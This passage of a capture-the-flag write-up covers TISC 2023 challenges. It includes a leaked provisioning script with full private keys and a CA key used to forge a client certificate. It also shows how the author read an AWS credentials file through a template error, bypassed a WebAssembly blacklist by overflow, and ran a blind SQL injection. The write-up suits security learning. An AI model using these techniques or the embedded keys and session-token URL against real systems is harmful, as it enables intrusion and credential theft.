# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
}
EOL
cat <<\EOL > /etc/nginx/server.crt
-----BEGIN CERTIFICATE-----
MIIDxzCCAq8CFF4sQY4xq1aAvfg5YdBJOrxqroG5MA0GCSqGSIb3DQEBCwUAMCAx
HjAcBgNVBAMMFWRldnNlY21lb3ctcHJvZHVjdGlvbjAeFw0yMzA3MjExNDUwNDFa
Fw0yNDA3MjAxNDUwNDFaMCAxHjAcBgNVBAMMFWRldnNlY21lb3cucHJvZHVjdGlv
bjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMYRqMc1usbS/4yoJ9qW
4QxHwFyHx6b7Mki4vVJD8GoNyGUWfUlksUhq84ZI4ZpAn78tvoV+lzeWQNw4XEz2
X3U3XI7AHFeQYo8WLcvaoAgj0P7uM1kbnoXUx54yraBty98uOKLDwuGD2ZNMyZjR
yE1005eehP/mrtH75N7fN8ZX2GD30/HgDs3wUcdN1N9/CGWF7s6zSMNKKyLbgzd4
UlOIY1jCQN0JyRfRikxfmuKWeElVCz4+iXvC8i69qRL4N63X5TM90jj9KIz1Kqco
gkX+mWaQSAKkGKQI6chYjoVbqQjjF80KO8/3WAFcXwir1C2Y4ZnmK3Y9o5J4Oyln
B5eVRklqsdLyv1KVu2xs1+grKtGet49n/SNMuMwesFmb6tPs3hM8aG0v/0W5eIXb
tBVwu4XwOlITWo1Te/wmP/zai6FYlyLIEpCD6LJ9/sajqxYtaslSHlgIjqTI9VKo
nahEbj8Xa7TMrNFbr2NY5z3oLypICrqE/zPuOgMBM6DX5cnlfqeAwIVnL5QxQoQe
ocwSDeAXDIcNdzHelUCgBiSjLw055hwNsLx/ZQ6Yu7Y4S0hE1CZZ3g++WoH/kLxi
i6pHoaTHsB4NIz5DYiQEydywzjnX7FAXqYwf4iZYLIiS9M6iXXB1OMBgtINVxglA
cBU54+I4u4h/CUkjPYPs8x11AgMBAAEwDQYJKoZIhvcNAQELBQADggEBACoCQZ5e
8a4RgMOoeqiaiKF4xVK8KQGtEUKjIeYT4LIeVFRhpB5m/RWxj2dshHNr1bJWFP+H
irecUisqLkpmAZRTGGbK98hN1muV85LRsyQTfesVNCT8Az3g0UUFN6rQdMoAqn97
lA/pK4N7Nxi7HDhaipZQ6uPcGVQkrcKOScxq7Y1IJ1Nq0qpKlrx2QIzB3rpE1Cpm
eYX1qHqgfLc+WGbwFfWF9raSG0bbLmB+krXtTUEqorTtr4RUQ3JCh0moJ5ToUgzc
qaYdKV87JdAsh88Dc8R4xEy+CgmP0Tecsdu4vp+QGLIFyKVXV1nPWF2ihz8XelLe
KiNii7b6V43HSrA=
-----END CERTIFICATE-----
EOL
cat <<\EOL > /etc/nginx/server.key
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
EOL
cat <<\EOL > /etc/nginx/ca.crt
-----BEGIN CERTIFICATE-----
MIIDITCCAgmgAwIBAgIUQ3SN/Ic7T2x1v6cA6gKPUxNSlNgwDQYJKoZIhvcNAQEL
BQAwIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9kdWN0aW9uMB4XDTIzMDcyMTE0
NTA0MFoXDTI0MDcyMDE0NTA0MFowIDEeMBwGA1UEAwwVZGV2c2VjbWVvdy1wcm9k
dWN0aW9uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxNkskbb7nqRD
nVMFJrWQUYuCURyYjncGVZTEFzO1cOOEAR35DmcRuVgWTACUJdRRqb6lL/7Vbfgm
1TV8vj7x/qNciEvd4/NzotlBXYCXJLilLFUydxuEqzpxX9fCGxQJ0nsKDswYuUpi
7ire952y8YAlu/DAApfwm/K8rS2edvvJ22wr1QznmEIedf3GFI3giFgyiB81bmqs
W+vLwd599seSVc48sm4VdIbw1KxQrQVU9Rwr7VyR7frFIitPIpTRfD6P/vZAZSmd
icPAq+2iDGj1YEy4AfRsn+ah7XQqp5ZC4iZccZidHGVlHSmsDXqJ2kpweuYoVCzy
HjMIuPqkDwIDAQABo1MwUTAdBgNVHQ4EFgQUr87qLf+IfGrfkYajdItqMFzby78w
HwYDVR0jBBgwFoAUr87qLf+IfGrfkYajdItqMFzby78wDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAQEAum41R46j6OlqmqdvEgt3D5pCsTa7fwfbvdqp
FgSlsGrwtRzAxETYPj6d+kYliFI/Z46tE3x15F5zisPPT3F/HjqzLPJBvCQWjiHW
+nRniqn5OzwgCsKB8kIVO01tE02ibWyIzL15s8IvzNTDH/WUUf1YvN/QKrvr7NC1
fGui/34w/Sikc1ckuayOM6B6yhf2WoCtC/txaGBxSa95tqSADxiw2X4ru7vuDqJO
TNVZrU3IkDCUhRSxvcesm4of0B21GCmpcUAU75A+UF3sl8jFTNf8oMFZzW17W4bg
tMdad2Pvl9IL3bWjT0uWMOU7uFWHRFCKEVrzCzJ6sUdyamwsLg==
-----END CERTIFICATE-----
EOL
cat <<\EOL > /etc/nginx/ca.key
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDE2SyRtvuepEOd
UwUmtZBRi4JRHJiOdwZVlMQXM7Vw44QBHfkOZxG5WBZMAJQl1FGpvqUv/tVt+CbV
NXy+PvH+o1yIS93j83Oi2UFdgJckuKUsVTJ3G4SrOnFf18IbFAnSewoOzBi5SmLu
Kt73nbLxgCW78MACl/Cb8rytLZ52+8nbbCvVDOeYQh51/cYUjeCIWDKIHzVuaqxb
68vB3n32x5JVzjyybhV0hvDUrFCtBVT1HCvtXJHt+sUiK08ilNF8Po/+9kBlKZ2J
w8Cr7aIMaPVgTLgB9Gyf5qHtdCqnlkLiJlxxmJ0cZWUdKawNeonaSnB65ihULPIe
Mwi4+qQPAgMBAAECggEBAKABg7fiC/90uD0uWXaQiQGvq7rwypSq7SwtY4MUlfxw
A0HBMkvhvcdxcZZPthxVzBd1DuLHeocL+cy+0Gn30k7QTQvA11lN74XEoNw3BSRl
LmWtzvqAFMP2Gmf0giPuktlTB+blQYeDjozXriuKNQUWzBVLaVfyVzL8CR+fgDpn
nUai7P0thT8MjxXesVvf1jkq4yZqPMOLNLYEuUn5G+OkNCHoqrc4Ud/Ft1lqd4f1
yvJ+9IDBZ298+HhCnlwyZ+ipTZFTcgzV6o/f4Hq0hfiqGx0es0Gt+jtkpR99AS4A
xGGU9CMy2bKk7k5aaoin7dljiIcTrCkWsnCgaVHPNLkCgYEA4bW0AmHWFmzABT/T
TzzgQKJsFvwvKDWOJiDVTczZlTfXeWcM9WQtAecAk2ZxAZqtqXEatzhWsGIvmxMr
zMKz9RLxxRsttV4xzRwDfcjKzRuZAV0xXPsIuaZPpzrqCX8uFrvhijf8prWuLFZr
2mC7kxVVpfDjO68e74YJVSKmOgUCgYEA30Pua0vOPXFL2h8TcbjG9FyTxid4OQWE
s1IiLYRw3jVVWlJ2gAlZ4ey+zTG162zV4V2yHrZF23es45yoWgSRZkxufkQY9CJi
XMXf0qdyC1lVh/naJXdz5AYr5KwyDv9UKjJc6vubcuSmD6h6H3QOgkZeoCt75lwy
jKwwSRRL/gMCgYB4AoLp2VdZqQ0YPW1/biDWfQX32rLAMGmagE6qBUeTfZOGK3LK
by83GbpGpWtkrPe1ZjwMO1psgmhJjhH113iT0DTY1rChBKp6InEAymh6Ujgyb3i1
tYxYGcO0aTDTR9oboF41fbtKcMNhM7o47MIPXIKjrsdDjsNmG+COcdPseQKBgQC5
niqb/dwrbQQZBfkOdQbDpiwddDcZgSMASuqrWQ7VTxX1D9YBQMT/depzgj6yyjtP
MKyjp/qQKgENAvNcU6vmlujOBSOR5PxOERyycA/6q3zWnbzlpVguXYskhJzhpxl8
M37YxfJJJRuCrRlLCRv+5y5Ij55kuIY2Ofmy6DL9rQKBgQDefTgiSKVIlMpZRiGt
VOAD0MFda/k9tpTPT9HdlL4b44mkNzPailJATH0XLDqSwuXn4wJEgMAwqbM8CGSo
Opar3fixSriKkwuTuDy8fM1dbpjYCi8rKswGULTvpFHJQZSDu4+sCDxbZUv9VTAS
aUwjOeYyIZiB+SQt/kUUZm1acA==
-----END PRIVATE KEY-----
EOL
aws s3 cp s3://devsecmeow2023flag2/index.html /tmp/
sudo cp /tmp/index.html /var/www/html
rm /tmp/index.html
sudo systemctl restart nginx
This time, we are given the Certificate Authority certificate and key, which we can use to sign our generated csr (openssl req -new -newkey rsa:4096 -keyout client.key -out client.csr -nodes -subj '/CN=Test' && openssl x509 -req -sha256 -days 365 -in client.csr -CA ca.crt -CAkey ca.key -set_serial 02 -out client.crt
, where ca.crt and ca.key are from above).
Now, we try to do curl -k https://54.255.155.134/ --cert client.crt --key client.key
, which gives us index.html, containing the flag:
flag2: yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}
Flag: TISC{pr0tecT_yOuR_d3vSeCOps_P1peL1nEs!!<##:3##>}
Domain(s): Web, RE, Pwn, Cloud
As part of the anti-PALINDROME task force, you find yourself face to face with another task.
"We found this horribly made website on their web servers," your superior tells you. "It's probably just a trivial SQL injection vulnerability to extract the admin password. I'm expecting this to be done in about an hour."
You ready your fingers on the keyboard, confident that you'll be able to deliver.
Dockerfile
server.js
db-init.sql
The flag is stored in as the password of the admin
user in the MySQL database. The /api/login endpoint only tells us if any rows were returned from the query, so we will have to do a blind SQL injection. Before that, we notice that inputs are filtered by a craft_query
AWS Lambda function to form the query. When we try testing the ASCII printable characters set character-by-character, we realise that the filter seems to only allow alphabets.
The /api/submit-reminder endpoint accepts 3 form values, viewType
to determine the template file to render with Pug. I am not familiar with Pug, but when playing around with the form values, I noticed that if nonsense values are passed for viewType
, details of the error will be returned (perhaps some debug mode was enabled). We can try and leak information using this feature.
Since we know that AWS credentials are usually in plaintext in the ~/.aws/credentials
file (and from the Dockerfile we know that it is in the /root/.aws/
folder in this case), we try to pass that as the viewType
value. We get the following error which leaks the AWS credentials:
We can do aws lambda get-function --function-name craft_query
, which gives us the configuration of the function:
{
"Configuration": {
"FunctionName": "craft_query",
"FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:craft_query",
"Runtime": "nodejs18.x",
"Role": "arn:aws:iam::051751498533:role/tisc23_ctf_sg-prod20230727104447843500000001",
"Handler": "index.handler",
"CodeSize": 27109,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-10-01T10:53:16.000+0000",
"CodeSha256": "TUzKimM9d5GavjF4ZARnrmzYL1zUQO97X2Ld+X69lm0=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "12d812c6-2d4c-461c-b1a8-e61e5fc0863b",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:ap-southeast-1::runtime:0bdff101a7b4e0589af824f244deb93200e4663c2a8d7d0148b76cd00c48777a"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?versionId=JNLr5qtX.LFHg63fpryY.eZVBru5aTvH&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBkaDmFwLXNvdXRoZWFzdC0xIkYwRAIgL5qGGZhmX6ARw8OWX8IvmSv9jA7Q%2BTLFNud6mRim7U4CIDlFlX2MCvgS1Fzj4%2BufiI5mmUElqqs2B1Rm7l9oAhstKsAFCCIQBBoMMjk1MzM4NzAzNTgzIgx4ivJOaOG1Y3FIb%2BgqnQUxt2ZYtwkfP%2BuJHohAHOLm0mfU7lDMAAxoEX5uMRZnk%2BAWIku20aXrLkLRI4RcC1%2BJc1ahk03yWVz52Hb%2F46BEEkTE%2Fl%2FVvhKvqKaDaYO9sxsjloapb%2BNqwK8GXvBFascL3TCHeAbp9smEdnD%2FekI6u94Tzq5RbHttA9hDLn2JdXkLI48USruAVBFLHl%2B26yuzxFGkXQd5AJPRhO%2FjG3roS74%2FAs1bDXnkGej%2Fi%2FITb9ad3myrOOlaBxpYnXwI22%2FEH%2BKitAMlo3my9%2B%2BGhuwLaG98sQ4JRcQkvNLw4WLl7TONx5Uzjlhcwo8eYDTyorub2CUQ7VKjZF3arVJ5vua2jNfvPGxuelWcX6Hcg6pUpCJyP%2BCN%2FWst09yNxTUIqbn5BnDOfB9XhnaK4k78xGPUTvi%2FIXnI5Kc6oY%2FpxraqUpV5%2F0zMy4X3NzRwbYnXauvtkwZRTjnJy%2BEZFAKhZV7oGXplUuHfnQPRPwXI7x%2BESREXEBOHTrhN7x1FmS%2FdoJ9vMDItSPlwd8iNXOWL2tNiOAGOfriUGfnEqHP6%2F%2B6AO%2FfcISox8eUV8u%2BPW9pD8GVw%2FlLapenbO84VqIauL2KGBBnAGrdQ5zO9EXTo49vqsdKFFMp2%2FX99Zaw9IpMOtHys%2FavBcvr%2BHm2pAuWqoh49t2CHThhUPr%2B8R3qLM%2Fof1XhsAP19yY%2BvTIJntrwV%2F4wdu1HGxZYdgRI1SiiEiq5StD1dUjD4PB2Bq4uPJJfJ7G6Cqa%2FI%2Fj6pupW1xWQukem8BUpXiMApyuNkS5WxqawJ%2Fu%2B1t%2F7CrPa7V5cdhamtYlfVhs4UNsJ1rAL9dfm3X9MayuChCFOEBKw4DEqC%2BEn%2FsxOztngAQuZ8McpwTys8V4EuRN9tCaJlcR75UfEw2dntqAY6sgH2qIx%2B46%2Bep82PjOiKkzW3QEQSmBs79xqRAvHc1dGS9wLWKDaL%2BKIrXbL4NeDUBl2ctlenek4KGUArzttKTgMqqqrQVv339u7LdI6U2iamidqSnxTrIzWx25DAkUHMKHbxg3ak35UhnKTzZF59NIiNusd0VOpUPJAO8C4KjblAdTptSpTg9pdNp3hnTQxj8%2F5%2BciZ0nHcI5nTcm9I1C8oKhQe3mh%2FffdumUSkt5dm8chvd&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20231003T020100Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP76JTADPL%2F20231003%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=0355bf1748dfbce958755652d053801aa9772a0ac69e09976749391f1f8bbeae"
},
"Tags": {
"Project": "tisc23.ctf.sg",
"Owner": "kennethtan",
"ProvisionedBy": "terraform",
"Region": "ap-southeast-1",
"Env": "prod"
}
}
We can download the code from the linked S3 snapshot, which we discover is WebAssembly 🙀.
We can use WABT to convert the WebAssembly binary format to the text format. We can also decompile it to make it more readable using tools from WABT. I also used this Ghidra plugin to decompile the WebAssembly binary to C and try to understand it better.
After searching for and reading more about WebAssembly PWN, we find a writeup that describes using buffer overflows to control function calls.
From my basic understanding of the code, the inputs are run through a is_blacklisted
function (1st element in the table of functions used by call_indirect
). If it is not blacklisted, load_query
(2nd element in the table of functions) is then called to construct the SQL query statement from the inputs.
From the related writeup linked above, we figure that we are able to overflow and change the call_indirect
to call load_query
instead of is_blacklisted
by changing the index of the function to be called to 2. I did this by gradually increasing the length of the username
submitted to the Lambda function until an error occurs, then increasing until a table index is out of bounds
first occurs, then changing the last byte of the username
to \x02
. Now, even if our username
contains non-alphabet characters, the Lambda function will still return a SQL query statement:
Since the length of the username
is fixed now, if we need a longer SQL statement, we can make use of the password
field. Eventually, I thought I got the flag using blind SQL injection. However, it was incorrect. The "flag" I got was TISC{a1phab3t_0n1y}
. Experienced SQL enjoyers may notice the issue right away. The default SQL collation used here is case-insensitive, so doing a blind SQL injection without taking this into account means only getting alphabets of one case (depending on what comes first in the search order). This can be done by using the MySQL BINARY
keyword to force case-sensitivity, since the BINARY
function leads to a byte-by-byte comparison of the strings.
Finally, here is some Python code I wrote that extracts the flag character-by-character: solve.py
Flag: TISC{a1PhAb3t_0N1Y}